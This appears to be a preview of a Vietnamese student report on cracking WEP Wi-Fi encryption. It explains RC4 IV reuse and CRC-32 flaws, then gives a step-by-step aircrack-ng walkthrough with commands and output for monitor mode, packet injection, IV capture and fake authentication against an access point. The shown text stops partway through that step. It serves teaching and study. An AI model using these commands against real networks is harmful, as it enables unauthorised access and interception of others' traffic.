1. Trang chủ
  2. » Luận Văn - Báo Cáo

Báo cáo tiểu luận môn an toàn mạng tìm hiểu WEP crack

13 675 2

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 13
Dung lượng 113 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Mục Lục Trang I. WEP 2 1. Giới thiệu về WEP: 2 2. Mã hóa và giải mã WEP 2 II. Vấn đề trong thuật toán WEP 3 III. Các cách tấn công 5 1. Tấn công thụ động 5 2. Tấn công chủ động 5 3. Tấn công theo kiểu từ điền 6 IV. Demo 7 Tài liệu tham khảo 13 I. WEP 1. Giới thiệu về WEP: WEP (Wired Equivalent Privacy) là một thuật toán mã hóa sử dụng quá trình chứng thực khóa chia sẻ cho việc chứng thực người dùng và để mã hóa phần dữ liệu truyền trên những phân đoạn mạng Lan không dây. Chuẩn IEEE 802.11 đặc biệt sử dụng WEP. WEP sử dụng một khóa bí mật chia sẻ giữa các máy trạm trong mạng LAN không dây (WLAN) và access point (AP). Khóa bí mật này dùng để mã hóa các gói dữ liệu trước khi chúng được truyền, và một quá trình chứng thực được sử dụng để chắc chắn rằng gói dữ liệu không bị thay đổi trong quá trình truyền. 2. Mã hóa và giải mã WEP: a. Mã hóa: Quá trình mã hóa WEP mô tả theo hình sau: WEP Encryption Process:

Trang 1

Mục Lục

Trang

Trang 2

I WEP

WEP (Wired Equivalent Privacy) là một thuật toán mã hóa sử dụng quá trình chứng thực khóa chia sẻ cho việc chứng thực người dùng và để mã hóa phần dữ liệu truyền trên những phân đoạn mạng Lan không dây Chuẩn IEEE 802.11 đặc biệt sử dụng WEP

WEP sử dụng một khóa bí mật chia sẻ giữa các máy trạm trong mạng LAN không dây (WLAN) và access point (AP) Khóa bí mật này dùng để mã hóa các gói

dữ liệu trước khi chúng được truyền, và một quá trình chứng thực được sử dụng để chắc chắn rằng gói dữ liệu không bị thay đổi trong quá trình truyền

Quá trình mã hóa WEP mô tả theo hình sau:

WEP Encryption Process:

Để mã hóa một 802.11 frame, thực hiện theo các bước sau:

- Tính toán 32-bit integrity check value (ICV) cho frame data, hay còn gọi là CRC-32

- ICV được gắn vào cuối frame data

- 24-bit initialization vector (IV) được tạo ra và kết hợp với WEP encryption key

- Sự kết hợp của initialization vector và WEP encryption key được sử dụng làm input cho pseudo-random number generator (PRNG) để tạo ra dãy bit có cùng kích thước với sự kết hợp của frame data và ICV

Trang 3

- Dãy bit PRNG được gọi là keystream được XORed với sự kết hợp của data

và ICV để tạo ra phần mã hóa trong pay load được gởi giữa wireless access point và wireless client

- Để tạo payload cho wireless MAC frame, IV được thêm vào phía trước phần

mã hóa của data và ICV cùng với một trường khác

Quá trình mã hóa WEP mô tả theo hình sau:

WEP Decryption Process:

Để giải mã 802.11 frame data, thực hiện theo các bước sau:

- Initialization vector (IV) có được từ phía trước của MAC payload

- IV được kết hợp với WEP encryption key

- Sự kết hợp của initialization vector và WEP encryption key được sử dụng làm input cho pseudo-random number generator (PRNG) để tạo ra dãy bit có cùng kích thước với sự kết hợp của frame data và ICV Quá trình này sẽ tạo

ra cùng keystream với bên gửi

- Dãy bit PRNG được XORed với data và ICV đã được mã hóa để giải mã phần data và ICV trong payload

- ICV calculation cho data trong payload sẽ tính toán và so sánh với giá trị trong frame gửi tới Nếu trùng khớp thì dữ liệu xem như hợp lệ( không bị thay đổi trong quá trình truyền Nếu không trùng khớp frame sẽ bị loại loại

bỏ

II Vấn đề trong thuật toán WEP

WEP sử dụng thuật toán mã hóa RC4, thuật toán mã hóa dòng RC4 tạo ra một key ngẫu nhiên gọi là keystream Bên gửi sẽ thực hiện XOR keystream với plaintext

Trang 4

để tạo ra ciphertext Bên nhận có một bản sao key và sử dụng nó để tạo ra một keystream đồng nhất XOR keystream với ciphertext sẽ tạo ra plaintext ban đầu Quá trình hoạt động này làm cho thuật toán mã hóa dòng có thể bị tấn công với một vài kiểu tấn công Nếu kẻ tấn công đảo bit trong ciphertext, sau đó giải mã thì những bit tương ứng trong plaintext có thể được mở ra Hơn nữa, nếu người nghe trộm nhận 2 ciphertext mã hóa cùng keystream, điều này có thể có được phép XOR giữa 2 plaintext Hiểu rõ về phép XOR này có thể tạo ra bảng thống kê tấn công để tìm ra plaintext

WEP chống lại những tấn công này Để chắc chắn gói dữ liệu không bị thay đổi trong quá trình truyền, nó sẽ sử dụng Integrity Check(IC) trong gói dữ liệu Để tránh mã hóa 2 ciphertext với cùng một keystream, một vector khởi tạo Initialization Vector (IV) được sử dụng để làm tăng thêm tính bảo mật của key và tạo ra key RC4 khác nhau cho mỗi gói dữ liệu Những IV này cũng nằm trong gói

dữ liệu Tuy nhiên, cả hai biện pháp thực hiện không chính xác, kết quả là bảo mật kém

Phần integrity check được xem như CRC-32 checksum, một phần mã hóa của packet Tuy nhiên, CRC-32 là tuyến tính, có nghĩa là có thể tính toán sự khác biệt của 2 bit CRC dựa trên sự khác biệt của trong những thông điệp mà họ truyền Nói cách khác, đảo bit n trong thông điệp trong một tập hợp các bit CRC có thể tạo ra chính xác checksum trên thông điệp thay đổi Bởi vì đảo bit thực hiện sau khi giải

mã RC4, điều này cho phép người tấn công đảo bit tùy ý trong thông điệp được mã hóa để điều chỉnh chính xác checksum để thông điệp kết quả xuất hiện hợp lệ

IV trong WEP có 24bits, được gởi trong phần cleartext của message Như vậy, lượng nhỏ IV đảm bảo sử dụng lại của cùng một keystream Một access point bận rộn luôn luôn gởi 1500 byte packets ở tốc độ 11Mbps, sẽ dùng hết lượng IVs sau 1500*8/(11*10^6)*2^24 = ~18000 giây, hay là 5 giờ Điều này cho phép người tấn công thu thập 2 ciphertext được mã hóa cùng một keystream và thống kê tấn công

để tìm ra plaintext Nguy hiểm hơn nữa là khi cùng 1 key được sử dụng bởi tất cả các trạm, có nhiều cơ hội trùng lặp IV Ví dụ một card wireless thông thường reset

IV về 0 mỗi lần được khởi tạo, và tăng IV lên 1 với mỗi packet Điều này có nghĩa

là hai card wireless cùng kết nối sẽ làm tăng khả năng đụng lặp lại IV cho người tấn

Trang 5

công (Thêm nữa là trong 802.11 đầu tiên còn cho rằng việc thay đổi IV trong mỗi packet là tùy chọn tức là có thể đổi hoặc giữ nguyên)

III Các cách tấn công

Cách tấn công đầu tiên là dựa vào sự theo dõi Người tấn công thụ động có thể chặn tất cả sự lưu thông của mạng wireless cho đến khi có sự trùng lặp của

IV Bằng phép XOR 2 packet cùng sử dụng một IV, người tấn công có được phép XOR giữa 2 plaintext Từ kết quả của phép XOR có thể sử dụng để suy ra nội dung của 2 thông điệp Truyền thông IP thường dự đoán và gồm nhiều dư thừa Những dư thừa này có thể được sử dụng để loại trừ những khả năng có thể

có trong nội dung của thông điệp Hơn nữa, tăng khả năng dự đoán về nội dung của một hoặc nhiều nội dung trong thông điệp có thể sử dụng để giảm bớt thống

kê của nhũng thông điệp có thể và trong một vài trường hợp có thể xác định chính xác nội dung

Khi phân tích thống kê không đem lại kết quả dựa trên 2 thông điệp, người tấn công sẽ tìm kiếm thêm những trùng lặp IV Với một lượng thời gian cần thiết

có thể tìm ra một lượng thông điệp được mã hóa cùng keystream và tỉ lệ thành công của phân tích sẽ tăng lên rất nhiều Một khi có thể sẽ tìm được toàn bộ plaintext của thông điệp, plaintext của tất cả các thông điệp có cùng IV một cách trực tiếp, từ lúc từng cặp XORs được biết

Mở rộng của cách tấn công này là có thể sử dụng một host ở một nơi nào đó trên Internet và gửi traffic từ bên ngoài tới host trong mạng wireless Khi người tấn công chặn ra những mã hóa của thông điệp của anh ta gửi qua 802.11, lúc đó

có thể giải mã được tất cả những gói tin có cùng IV

Có hai kiểu: tấn công để chèn vào giữa sự lưu thông (attack to inject traffic)

và tấn công cả hai đầu ( attack from both ends)

a Attack to inject traffic: Theo kiểu tấn công này thì hướng tới kết quả của vấn đề được mô tả ở trong phần trước Giả sử người tấn công biết được chính xác được mã hóa trong thông điệp Người đó sẽ dùng sự hiểu biết này để tìm ra chính xác những packet đã được mã hóa Thủ tục đòi hỏi tạo một thông điệp mới, tính toán CRC-32, và thực hiện lật bit trên thông

Trang 6

điệp gốc được mã hóa để thay đổi plaintext cho thông điệp mới Thuộc tính cơ bản là RC4(X) xor X xor Y = RC4(Y) Gói tin này sẽ được gởi tới access point hoặc các máy trạm trong mạng và nó sẽ được chấp nhận như

là một gói tin hợp lệ

Một thay đổi nhỏ làm cho cách tấn công này thêm nguy hiểm Mặc dù không có đầy đủ hiểu biết về gói tin, có thể lật những bit đã được chọn trong thông điệp và thiết lập thành công CRC được mã hóa để tìm được chính xác bản được mã hóa của gói tin đã được thay đổi Nếu người tấn công chỉ biết một ít thông tin nội dung của gói tin, người đó có thể chặn

nó ra thực hiện sửa đổi trên nó Ví dụ, có thể thay đổi lệnh được gởi trên telnet, hoặc tương tác với file server

b Attack from both ends: Cách tấn công trước có thể mở rông hơn nữa để giải mã lưu thông tùy ý Trong trường hợp này, người tấn công thực hiện

dự đoán về không phải nội dung, đúng hơn là về tiêu đề của gói tin Thông tin này thường dễ dàng tìm ra hoặc đoán ra, tất cả những gì cần để

dự đoán là địa chỉ IP đích Trang bị với kiến thức này, người tấn công có thể lật những bit thích hợp để thay đổi địa chỉ IP đích để gởi gói tin tới máy mà người đó điều khiển, một nơi nào đó trên Internet, và chuyển nó

sử dụng các trạm lừa đảo Hầu hết những mạng wireless đều có kết nối Internet, gói tin sẽ được giải mã thành công bởi access point và chuyển không mã hóa đó xuyên qua gateways và routers thích hợp đến máy người tấn công Nếu sự phỏng đoán có thể được thực hiện về TCP header của packet nó có thể thay đổi địa chỉ port đích của packet thành port 80, port cho phép chuyển nó xuyên qua hầu hết các loại tường lửa

Số lượng nhỏ của IV cho phép người tấn công xây dựng một bảng giải mã Sau khi tìm hiểu plaintext của một số packet, người đó có thể tính toán RC4 key stream được phát sinh bởi IV được sử dụng Key stream này có thể giải mã toàn

bộ những packet khác có cùng IV Theo thời gian có thể sử dụng những kỹ thuật nói trên người tấn công có thể xây dựng được một bảng những IV và keystream tương ứng Bảng này đòi hỏi một không gian bộ nhớ kha khá(~15GB); một khi

Trang 7

nó đã được xây dựng, người tấn công có thể giải mã mọi packet được chuyển thông qua mạng wireless

IV Demo

Trong phần demo này chúng em sử dụng aircrack để crack WEP key theo cách chủ động

Để crack WEP key của một access point, chúng ta cần phải thu thập rất nhiều

IV Đối với mạng thông thường sẽ không tạo ra các IV nhanh Theo như lý thuyết nếu chúng ta kiên nhẫn thì chúng ta có thể thu thập được đủ các IV để có thể crack WEP key bằng cách đơn giản là lắng nghe và lưu trữ Bởi vì chúng ta không đủ kiên nhẫn, chúng ta sẽ sử dụng một kỹ thuật là injection để tăng tốc độ quá trình này lên( còn gọi là phương pháp crack WEP key chủ động) Kỹ thuật injection đòi hỏi có một access point gửi lại những packet chọn lọc nhiều hơn và nhanh hơn Điều này cho phép cho ta bắt được một số lượng lớn IV trong một khoảng thời gian ngắn Một khi chúng ta đã bắt được một lượng lớn các IV, chúng ta có thể sử dụng chúng để tìm ra WEP key Sau đây là các bước để tìm ra WEP key:

Bước 1: Start the wireless interface in monitor mode on AP channel

Mục đích của bước này là chuyển card sang chế độ được gọi là monitor mode(nghe ngóng hay giám sát) Monitor mode là chế độ mà card của bạn có thể bắt mọi gói tin Thông thường thì card của bạn chỉ bắt được các gói tin gửi tới bạn Bằng cách nghe ngóng mọi packet, sau đó chúng ta có thể chọn một vài trong số đó để chèn Chỉ có chế độ monitor thì mới cho phép chèn packet

Đầu tiên, stop ath0:

airmon-ng stop ath0

Hệ thống sẽ trả về:

Interface Chipset Driver

wifi0 Atheros madwifi-ng

ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Gõ “iwconfig” để chắc chắn rằng không có giao tiếp athX nào Chúng ta sẽ thấy như sau:

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.

Trang 8

Nếu vẫn còn giao tiếp athX nào, thì stop từng cái một Khi hoàn thành, gõ lại

“iwconfig” để kiểm tra lại

Bây giờ, gõ dòng lệnh sau để start wireless card trên channel 9 trong chế độ

monitor:

airmon-ng start wifi0 9

Thay thế số kênh của card wireless bạn đang chạy vào số “9” trong câu lệnh trên Điều này rất quan trọng Card wireless của bạn phải nối vào một kênh của AP trong bước này để hoạt động chính xác

Hệ thống sẽ trả về:

Interface Chipset Driver

wifi0 Atheros madwifi-ng

ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Bạn sẽ thấy rằng “ath0” đang ở trong chế độ monitor

Để kiểm tra lại, gõ “iwconfig”, hệ thống sẽ trả về:

lo no wireless extensions.

wifi0 no wireless extensions.

eth0 no wireless extensions.

ath0 IEEE 802.11g ESSID:"" Nickname:""

Mode:Monitor Frequency:2.452 GHz Access Point:

00:0F:B5:88:AC:82

Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3

Retry:off RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm

Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0

Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Bước 2: Test Wireless Device Packet Injection

Mục đích của bước này là để chắc chắc chắn rằng card của bạn đang trong vùng của

AP và có thể thực hiện chèn gói tin

Gõ:

aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 ath0

với:

 -9 : injection test

 -e : wireless network name

Trang 9

 -a 00:14:6C:7E:40:80 : access point MAC address

 ath0 : wireless interface name

Hệ thống sẽ trả về:

09:23:35 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9

09:23:35 Trying broadcast probe requests

09:23:35 Injection is working!

09:23:37 Found 1 AP

09:23:37 Trying directed probe requests

09:23:37 00:14:6C:7E:40:80 - channel: 9 - 'teddy'

09:23:39 Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73 09:23:39 30/30: 100%

Bước 3: Start airodump-ng to capture the IVs

Mục đích của bước này là để bắt lấy những IV được tạo ra

Mở một cửa sổ console khác để bắt những IV được tạo ra Gõ vào:

airodump-ng -c 9 bssid 00:14:6C:7E:40:80 -w output ath0

với:

 -c 9 : the channel for the wireless network

 bssid 00:14:6C:7E:40:80 : the access point MAC address This eliminate extraneous traffic

 -w capture : file name prefix for the file which will contain the IVs

 ath0 : the interface name

Trong lúc injection đang diễn ra, màn hình sẽ trông như thế này:

CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy

BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782

Bước 4: Use aireplay-ng to do a fake authentication with the access point

Để cho access point chấp nhận gói tin, địa chỉ MAC nguồn phải phù hợp Nếu địa chỉ MAC nguồn không kết hợp thì access point sẽ từ chối gói tin và gửi gói

“DeAuthentication” Trong tình trạng này sẽ không có IV mới nào được tạo ra bởi

vì AP đang từ chối tất cả những injected packet

Trang 10

Sự không kết hợp là lý do đơn giản lớn nhất là tại sao injecttion thất bại Nên nhớ: địa chỉ MAC mà bạn sử dụng cho injection phải kết hợp với AP bằng cách sử dụng fake authentication hoặc sử dụng địa chỉ MAC đã chúng thực rồi

Để kết hợp với một access point, dùng fake authentication:

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

với:

 -1 means fake authentication

 0 reassociation timing in seconds

 -e teddy is the wireless network name

 -a 00:14:6C:7E:40:80 is the access point MAC address

 -h 00:0F:B5:88:AC:82 is our card MAC address

 ath0 is the wireless interface name

Kết quả như thế này:

18:18:20 Sending Authentication Request

18:18:20 Authentication successful

18:18:20 Sending Association Request

18:18:20 Association successful :-)

Hoặc:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h

00:0F:B5:88:AC:82 ath0

với:

 6000 - Reauthenticate every 6000 seconds The long period also causes keep alive packets to be sent

 -o 1 - Send only one set of packets at a time Default is multiple and this confuses some APs

 -q 10 - Send keep alive packets every 10 seconds

Và kết quả như sau:

18:22:32 Sending Authentication Request

18:22:32 Authentication successful

18:22:32 Sending Association Request

18:22:32 Association successful :-)

18:22:42 Sending keep-alive packet

18:22:52 Sending keep-alive packet

# and so on

Một ví dụ thất bại chứng thực như sau:

8:28:02 Sending Authentication Request

18:28:02 Authentication successful

18:28:02 Sending Association Request

18:28:02 Association successful :-)

18:28:02 Got a deauthentication packet!

18:28:05 Sending Authentication Request

Ngày đăng: 20/12/2014, 15:00

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w